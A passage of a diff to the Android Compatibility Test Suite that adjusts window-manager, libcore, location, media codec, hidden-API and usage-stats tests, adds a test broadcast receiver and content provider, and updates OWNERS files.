b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java index d5b652f12ee..441c862aaf5 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java @@ -100,8 +100,10 @@ public class WindowInsetsAnimationTests extends WindowInsetsAnimationTestBase { @Test public void testAnimationCallbacks_overlapping() { - // Test requires navbar to create overlapping animations. - assumeTrue(hasWindowInsets(mRootView, navigationBars())); + assumeTrue( + "Test requires navBar and statusBar to create overlapping animations.", + hasWindowInsets(mRootView, navigationBars()) + && hasWindowInsets(mRootView, statusBars())); WindowInsets before = mActivity.mLastWindowInsets; MultiAnimCallback callbackInner = new MultiAnimCallback(); diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java index 388095cda60..ba34d1785d9 100644 --- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java +++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java @@ -83,6 +83,7 @@ import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.Arrays; import java.util.List; +import java.util.Objects; import java.util.function.Consumer; import java.util.function.Predicate; import java.util.stream.Collectors; @@ -966,17 +967,18 @@ public class WindowManagerState { .collect(Collectors.toList()); } - WindowState getAndAssertSingleNavBarWindowOnDisplay(int displayId) { - List<WindowState> navWindow = getMatchingWindows(ws -> - WindowManagerState.isValidNavBarType(ws) && ws.getDisplayId() == displayId) + @Nullable + List<WindowState> getAndAssertNavBarWindowsOnDisplay(int displayId, int expectedNavBarCount) { + List<WindowState> navWindows = getMatchingWindows(ws -> isValidNavBarType(ws) + && ws.getDisplayId() == displayId) + .filter(Objects::nonNull) .collect(Collectors.toList()); - // We may need some time to wait for nav bar showing. - // It's Ok to get 0 nav bar here. - assertTrue("There should be at most one navigation bar on a display", - navWindow.size() <= 1); + // It's Ok to get less that expected nav bars here. + assertTrue("There should be at most expectedNavBarCount navigation bar on a display", + navWindows.size() <= expectedNavBarCount); - return navWindow.isEmpty() ? null : navWindow.get(0); + return navWindows.size() == expectedNavBarCount ? navWindows : null; } WindowState getWindowStateForAppToken(String appToken) { diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java index 0a70d013cc3..458d7857461 100644 --- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java +++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java @@ -272,10 +272,17 @@ public class WindowManagerStateHelper extends WindowManagerState { "app transition idle on Display " + displayId); } - public void waitAndAssertNavBarShownOnDisplay(int displayId) { - assertTrue(waitForWithAmState( - state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null, - "navigation bar #" + displayId + " show")); + void waitAndAssertNavBarShownOnDisplay(int displayId) { + waitAndAssertNavBarShownOnDisplay(displayId, 1 /* expectedNavBarCount */); + } + + void waitAndAssertNavBarShownOnDisplay(int displayId, int expectedNavBarCount) { + assertTrue(waitForWithAmState(state -> { + List<WindowState> navWindows = state + .getAndAssertNavBarWindowsOnDisplay(displayId, expectedNavBarCount); + + return navWindows != null; + }, "navigation bar #" + displayId + " show")); } public void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) { diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml index 93a2b76e479..3dc2bdb503c 100644 --- a/tests/libcore/jsr166/AndroidTest.xml +++ b/tests/libcore/jsr166/AndroidTest.xml @@ -54,4 +54,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml index 2173c92b487..8fcaaab19c3 100644 --- a/tests/libcore/luni/AndroidTest.xml +++ b/tests/libcore/luni/AndroidTest.xml @@ -80,4 +80,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml index 86e04f6192e..f929c4bd4b4 100644 --- a/tests/libcore/ojluni/AndroidTest.xml +++ b/tests/libcore/ojluni/AndroidTest.xml @@ -58,4 +58,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml index 8219e38ce64..c3e97a4b258 100644 --- a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml +++ b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml @@ -56,4 +56,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml index b0471d01f3c..dce14b56515 100644 --- a/tests/libcore/wycheproof-bc/AndroidTest.xml +++ b/tests/libcore/wycheproof-bc/AndroidTest.xml @@ -52,4 +52,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java index 59c91c91341..b4b62cce647 100644 --- a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java +++ b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java @@ -30,6 +30,7 @@ import android.content.Intent; import android.location.Criteria; import android.location.LocationManager; import android.location.cts.common.ProximityPendingIntentCapture; +import android.os.UserManager; import android.util.Log; import androidx.test.core.app.ApplicationProvider; @@ -100,6 +101,10 @@ public class GeofencingTest { @Test public void testAddProximityAlert() throws Exception { + if (isNotSystemUser()) { + Log.i(TAG, "Skipping test on secondary user"); + return; + } mManager.addTestProvider(FUSED_PROVIDER, true, false, @@ -173,6 +178,11 @@ public class GeofencingTest { @Test public void testRemoveProximityAlert() throws Exception { + if (isNotSystemUser()) { + Log.i(TAG, "Skipping test on secondary user"); + return; + } + mManager.addTestProvider(FUSED_PROVIDER, true, false, @@ -206,6 +216,11 @@ public class GeofencingTest { @Test public void testAddProximityAlert_StartProximate() throws Exception { + if (isNotSystemUser()) { + Log.i(TAG, "Skipping test on secondary user"); + return; + } + mManager.addTestProvider(FUSED_PROVIDER, true, false, @@ -227,6 +242,11 @@ public class GeofencingTest { @Test public void testAddProximityAlert_Multiple() throws Exception { + if (isNotSystemUser()) { + Log.i(TAG, "Skipping test on secondary user"); + return; + } + mManager.addTestProvider(FUSED_PROVIDER, true, false, @@ -266,6 +286,11 @@ public class GeofencingTest { @Test public void testAddProximityAlert_Expires() throws Exception { + if (isNotSystemUser()) { + Log.i(TAG, "Skipping test on secondary user"); + return; + } + mManager.addTestProvider(FUSED_PROVIDER, true, false, @@ -288,4 +313,8 @@ public class GeofencingTest { assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull(); } } + + private boolean isNotSystemUser() { + return !mContext.getSystemService(UserManager.class).isSystemUser(); + } } diff --git a/tests/media/OWNERS b/tests/media/OWNERS index ad8bb0a393b..eba094cbca4 100644 --- a/tests/media/OWNERS +++ b/tests/media/OWNERS @@ -1,15 +1,11 @@ # Bug component: 1344 # include media developers and framework video team include platform/frameworks/av:/media/OWNERS -chz@google.com dichenzhang@google.com essick@google.com gokrishnan@google.com lajos@google.com -marcone@google.com -pawin@google.com wonsik@google.com -# LON -olly@google.com -andrewlewis@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java index 00f91317545..bea8487519b 100644 --- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java +++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java @@ -260,7 +260,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase { assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError()); assertTrue(log + "no input sent", 0 != mInputCount); assertTrue(log + "output received", 0 != mOutputCount); - assertTrue(log + "decoder output is flaky", ref.equals(test)); + // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders + // produce multiple progressive frames?) For now, do not verify timestamps. + if (mIsInterlaced) { + assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test)); + } else { + assertTrue(log + "decoder output is flaky", ref.equals(test)); + } /* test flush in eos state */ flushCodec(); @@ -276,7 +282,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase { assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError()); assertTrue(log + "no input sent", 0 != mInputCount); assertTrue(log + "output received", 0 != mOutputCount); - assertTrue(log + "decoder output is flaky", ref.equals(test)); + // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders + // produce multiple progressive frames?) For now, do not verify timestamps. + if (mIsInterlaced) { + assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test)); + } else { + assertTrue(log + "decoder output is flaky", ref.equals(test)); + } } mCodec.release(); mExtractor.release(); @@ -351,8 +363,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase { assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError()); assertTrue(log + "no input sent", 0 != mInputCount); assertTrue(log + "output received", 0 != mOutputCount); - assertTrue(log + "decoder output is flaky", ref.equals(test)); - + // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders + // produce multiple progressive frames?) For now, do not verify timestamps. + if (mIsInterlaced) { + assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test)); + } else { + assertTrue(log + "decoder output is flaky", ref.equals(test)); + } /* test reconfigure codec at eos state */ reConfigureCodec(format, !isAsync, false, false); mCodec.start(); @@ -367,7 +384,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase { assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError()); assertTrue(log + "no input sent", 0 != mInputCount); assertTrue(log + "output received", 0 != mOutputCount); - assertTrue(log + "decoder output is flaky", ref.equals(test)); + // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders + // produce multiple progressive frames?) For now, do not verify timestamps. + if (mIsInterlaced) { + assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test)); + } else { + assertTrue(log + "decoder output is flaky", ref.equals(test)); + } mExtractor.release(); /* test reconfigure codec for new file */ @@ -388,7 +411,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase { assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError()); assertTrue(log + "no input sent", 0 != mInputCount); assertTrue(log + "output received", 0 != mOutputCount); - assertTrue(log + "decoder output is flaky", configRef.equals(test)); + // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders + // produce multiple progressive frames?) For now, do not verify timestamps. + if (mIsInterlaced) { + assertTrue(log + "decoder output is flaky", configRef.equalsInterlaced(test)); + } else { + assertTrue(log + "decoder output is flaky", configRef.equals(test)); + } mExtractor.release(); } mCodec.release(); diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java index 7b410796782..ea542d6fd0f 100644 --- a/tests/media/src/android/mediav2/cts/CodecTestBase.java +++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java @@ -1229,6 +1229,9 @@ class CodecDecoderTestBase extends CodecTestBase { mOutputBuff.saveInPTS(info.presentationTimeUs); mInputCount++; } + if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) { + mSawInputEOS = true; + } } void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) { diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java index 61fe054a259..8598622cf4f 100644 --- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java +++ b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java @@ -50,6 +50,7 @@ import static android.mediapc.cts.CodecTestBase.selectCodecs; import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; /** @@ -69,9 +70,6 @@ public class EncoderInitializationLatencyTest { private static String AVC_DECODER_NAME; private static String AVC_ENCODER_NAME; static { - AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0); - AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0); - if (Utils.isRPerfClass()) { MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 50; MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 65; @@ -95,6 +93,14 @@ public class EncoderInitializationLatencyTest { @Before public void setUp() throws Exception { assumeTrue("Test requires performance class.", Utils.isPerfClass()); + ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false); + assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty()); + AVC_DECODER_NAME = listOfAvcHwDecoders.get(0); + + ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true); + assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty()); + AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0); + Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation(); Context context = instrumentation.getTargetContext(); PackageManager packageManager = context.getPackageManager(); diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java index c0f48dbcb3f..a57faf777bc 100644 --- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java +++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java @@ -33,7 +33,9 @@ import java.util.Map; import static android.mediapc.cts.CodecTestBase.selectCodecs; import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs; +import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; public class FrameDropTestBase { @@ -69,11 +71,6 @@ public class FrameDropTestBase { static Map<String, String> m540pTestFiles = new HashMap<>(); static Map<String, String> m1080pTestFiles = new HashMap<>(); static { - AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0); - AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0); - AAC_DECODER_NAME = selectCodecs(AAC, null, null, false).get(0); - } - static { if (Utils.isSPerfClass()) { // Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds MAX_FRAME_DROP_FOR_30S = 6; @@ -111,6 +108,19 @@ public class FrameDropTestBase { @Before public void setUp() throws Exception { assumeTrue("Test requires performance class.", Utils.isPerfClass()); + + ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false); + assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty()); + AVC_DECODER_NAME = listOfAvcHwDecoders.get(0); + + ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true); + assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty()); + AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0); + + ArrayList<String> listOfAacDecoders = selectCodecs(AAC, null, null, false); + assertFalse("Test requires aac decoder", listOfAacDecoders.isEmpty()); + AAC_DECODER_NAME = listOfAacDecoders.get(0); + createSurface(); startLoad(); } diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java index 80bdafe7ed6..596532b5b3d 100644 --- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java +++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java @@ -53,13 +53,11 @@ public class MultiCodecPerfTestBase { mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4"); mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4"); - // Test VP8, VP9 and AV1 as well for Build.VERSION_CODES.S + // Test VP9 and AV1 as well for Build.VERSION_CODES.S if (Utils.isSPerfClass()) { - mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8); mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9); mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1); - mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1280x720_3mbps_30fps_vp8.webm"); mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm"); mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4"); } diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java index 7cefb5c2d9f..ffe85fc77d3 100644 --- a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java +++ b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java @@ -16,28 +16,14 @@ package android.signature.cts.api.test; -import android.os.Bundle; -import android.signature.cts.DexApiDocumentParser; -import android.signature.cts.DexField; import android.signature.cts.DexMember; -import android.signature.cts.DexMemberChecker; -import android.signature.cts.DexMethod; -import android.signature.cts.FailureType; -import android.signature.cts.VirtualPath; - -import java.io.IOException; -import java.nio.ByteBuffer; -import java.nio.channels.FileChannel; -import java.nio.file.Files; -import java.nio.file.Path; -import java.nio.file.StandardOpenOption; -import java.util.EnumSet; import java.util.Set; -import java.util.function.Predicate; -import java.util.stream.Stream; public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest { + /** + * Override to match only those members that specify both test-api and blocked. + */ @Override protected boolean shouldTestMember(DexMember member) { Set<String> flags = member.getHiddenapiFlags(); diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java index 6928e384269..3b6fec978eb 100644 --- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java +++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java @@ -45,7 +45,7 @@ public class HiddenApiTest extends AbstractApiTest { @Override protected void initializeFromArgs(Bundle instrumentationArgs) { hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files"); - hiddenapiTestFlags = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-test-flags"); + hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags"); hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file"); hiddenapiFilterSet = new HashSet<>(); } @@ -165,7 +165,15 @@ public class HiddenApiTest extends AbstractApiTest { }); } + /** + * Determines whether to test the member. + * + * @param member the member + * @return true if the member should be tested, false otherwise. + */ protected boolean shouldTestMember(DexMember member) { + // Test the member if it supports ANY of the flags specified in the hiddenapi-test-flags + // argument. Set<String> flags = member.getHiddenapiFlags(); for (String testFlag : hiddenapiTestFlags) { if (flags.contains(testFlag)) { diff --git a/tests/tests/accounts/OWNERS b/tests/tests/accounts/OWNERS index d486f4c3d90..695530b86e8 100644 --- a/tests/tests/accounts/OWNERS +++ b/tests/tests/accounts/OWNERS @@ -2,3 +2,4 @@ carlosvaldivia@google.com dementyev@google.com sandrakwan@google.com +aseemk@google.com diff --git a/tests/tests/app.usage/TestApp1/AndroidManifest.xml b/tests/tests/app.usage/TestApp1/AndroidManifest.xml index 1cb7e1fe944..06ddfad4e5b 100644 --- a/tests/tests/app.usage/TestApp1/AndroidManifest.xml +++ b/tests/tests/app.usage/TestApp1/AndroidManifest.xml @@ -28,5 +28,12 @@ <service android:name=".TestService" android:exported="true" /> + <receiver android:name=".TestBroadcastReceiver" + android:exported="true" + /> + <provider android:name=".TestContentProvider" + android:authorities="android.app.usage.cts.test1.provider" + android:exported="true" + /> </application> </manifest> diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java new file mode 100644 index 00000000000..cfa7e2fad7f --- /dev/null +++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java @@ -0,0 +1,26 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.app.usage.cts.test1; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; + +public final class TestBroadcastReceiver extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) {} +} diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java new file mode 100644 index 00000000000..8852e9bcd9a --- /dev/null +++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java @@ -0,0 +1,66 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.app.usage.cts.test1; + +import android.content.ContentProvider; +import android.content.ContentValues; +import android.database.Cursor; +import android.database.MatrixCursor; +import android.net.Uri; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; + +public final class TestContentProvider extends ContentProvider { + + @Override + public boolean onCreate() { + return true; + } + + @Nullable + @Override + public Cursor query(@NonNull Uri uri, @Nullable String[] projection, @Nullable String selection, + @Nullable String[] selectionArgs, @Nullable String sortOrder) { + MatrixCursor cursor = new MatrixCursor(new String[]{"Test"}, 0); + return cursor; + } + + @Nullable + @Override + public String getType(@NonNull Uri uri) { + return null; + } + + @Nullable + @Override + public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) { + return null; + } + + @Override + public int delete(@NonNull Uri uri, @Nullable String selection, + @Nullable String[] selectionArgs) { + return 0; + } + + @Override + public int update(@NonNull Uri uri, @Nullable ContentValues values, @Nullable String selection, + @Nullable String[] selectionArgs) { + return 0; + } +} diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java index 1aa05ef3a4a..a20a8f9ee00 100644 --- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java +++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java @@ -38,11 +38,15 @@ import android.app.usage.UsageEvents; import android.app.usage.UsageEvents.Event; import android.app.usage.UsageStats; import android.app.usage.UsageStatsManager; +import android.content.BroadcastReceiver; import android.content.ComponentName; +import android.content.ContentProviderClient; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.content.pm.PackageManager; +import android.database.Cursor; +import android.net.Uri; import android.os.IBinder; import android.os.Parcel; import android.os.SystemClock; @@ -83,6 +87,7 @@ import java.util.Arrays; import java.util.List; import java.util.Map; import java.util.concurrent.BlockingQueue; +import java.util.concurrent.CountDownLatch; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; import java.util.function.BooleanSupplier; @@ -123,6 +128,10 @@ public class UsageStatsTest { = "android.app.usage.cts.test1.SomeActivityWithLocus"; private static final String TEST_APP_CLASS_SERVICE = "android.app.usage.cts.test1.TestService"; + private static final String TEST_APP_CLASS_BROADCAST_RECEIVER + = "android.app.usage.cts.test1.TestBroadcastReceiver"; + private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider"; + private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY; private static final String TEST_APP2_PKG = "android.app.usage.cts.test2"; private static final String TEST_APP2_CLASS_FINISHING_TASK_ROOT = "android.app.usage.cts.test2.FinishingTaskRootActivity"; @@ -274,6 +283,34 @@ public class UsageStatsTest { verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG); } + @AppModeFull(reason = "No usage events access in instant apps") + @Test + public void testLastTimeAnyComponentUsed_bindExplicitBroadcastReceiverShouldBeDetected() + throws Exception { + mUiDevice.wakeUp(); + dismissKeyguard(); // also want to start out with the keyguard dismissed. + + final long startTime = System.currentTimeMillis(); + bindToTestBroadcastReceiver(); + final long endTime = System.currentTimeMillis(); + + verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG); + } + + @AppModeFull(reason = "No usage events access in instant apps") + @Test + public void testLastTimeAnyComponentUsed_bindContentProviderShouldBeDetected() + throws Exception { + mUiDevice.wakeUp(); + dismissKeyguard(); // also want to start out with the keyguard dismissed. + + final long startTime = System.currentTimeMillis(); + bindToTestContentProvider(); + final long endTime = System.currentTimeMillis(); + + verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG); + } + private void verifyLastTimeAnyComponentUsedWithinRange( long startTime, long endTime, String targetPackage) { final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats( @@ -281,8 +318,8 @@ public class UsageStatsTest { final UsageStats stats = map.get(targetPackage); assertNotNull(stats); final long lastTimeAnyComponentUsed = stats.getLastTimeAnyComponentUsed(); - assertLessThan(startTime, lastTimeAnyComponentUsed); - assertLessThan(lastTimeAnyComponentUsed, endTime); + assertLessThanOrEqual(startTime, lastTimeAnyComponentUsed); + assertLessThanOrEqual(lastTimeAnyComponentUsed, endTime); SystemUtil.runWithShellPermissionIdentity(()-> { final long lastDayAnyComponentUsedGlobal = @@ -1802,6 +1839,52 @@ public class UsageStatsTest { return ITestReceiver.Stub.asInterface(connection.getService()); } + /** + * Send broadcast to test app's receiver and wait for it to be received. + */ + private void bindToTestBroadcastReceiver() { + final Intent intent = new Intent().setComponent( + new ComponentName(TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER)); + CountDownLatch latch = new CountDownLatch(1); + mContext.sendOrderedBroadcast( + intent, + null /* receiverPermission */, + new BroadcastReceiver() { + @Override public void onReceive(Context context, Intent intent) { + latch.countDown(); + } + }, + null /* scheduler */, + Activity.RESULT_OK, + null /* initialData */, + null /* initialExtras */); + try { + assertTrue("Timed out waiting for test broadcast to be received", + latch.await(TIMEOUT, TimeUnit.MILLISECONDS)); + } catch (InterruptedException e) { + throw new IllegalStateException("Interrupted", e); + } + } + + /** + * Bind to the test app's content provider. + */ + private void bindToTestContentProvider() throws Exception { + // Acquire unstable content provider so that test process isn't killed when content + // provider app is killed. + final Uri testUri = Uri.parse(TEST_APP_CONTENT_URI_STRING); + ContentProviderClient client = + mContext.getContentResolver().acquireUnstableContentProviderClient(testUri); + try (Cursor cursor = client.query( + testUri, + null /* projection */, + null /* selection */, + null /* selectionArgs */, + null /* sortOrder */)) { + assertNotNull(cursor); + } + } + private class TestServiceConnection implements ServiceConnection { private BlockingQueue<IBinder> mBlockingQueue = new LinkedBlockingQueue<>(); diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java index 4132849ae28..0f1d10f6329 100644 --- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java +++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java @@ -130,6 +130,7 @@ import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertThrows; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import static org.junit.Assume.assumeTrue; import android.app.PendingIntent; import android.appwidget.AppWidgetProviderInfo; @@ -1010,12 +1011,18 @@ public class 